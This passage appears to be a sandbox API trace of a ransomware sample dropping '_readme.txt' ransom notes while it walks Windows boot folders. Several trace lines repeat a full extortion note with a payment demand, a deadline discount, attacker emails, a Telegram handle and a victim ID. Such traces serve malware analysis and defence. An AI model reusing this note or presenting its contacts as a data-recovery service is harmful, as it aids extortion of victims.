(hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.437] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.437] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.437] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.437] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.437] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.437] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.437] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.437] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.437] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.437] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.437] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.437] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.437] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dcb30 [0116.438] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0116.438] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.438] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.438] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0116.438] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.439] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.439] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.439] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.439] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.439] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.439] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.439] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.439] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.439] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.439] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.439] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.439] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.439] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.439] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.439] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.439] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.440] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.441] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.443] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0116.443] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.444] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.444] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.444] PathFindFileNameW (pszPath="") returned="" [0116.444] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.444] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.444] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.444] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.444] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.444] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.444] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.444] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0116.444] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.444] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.444] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0116.444] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, 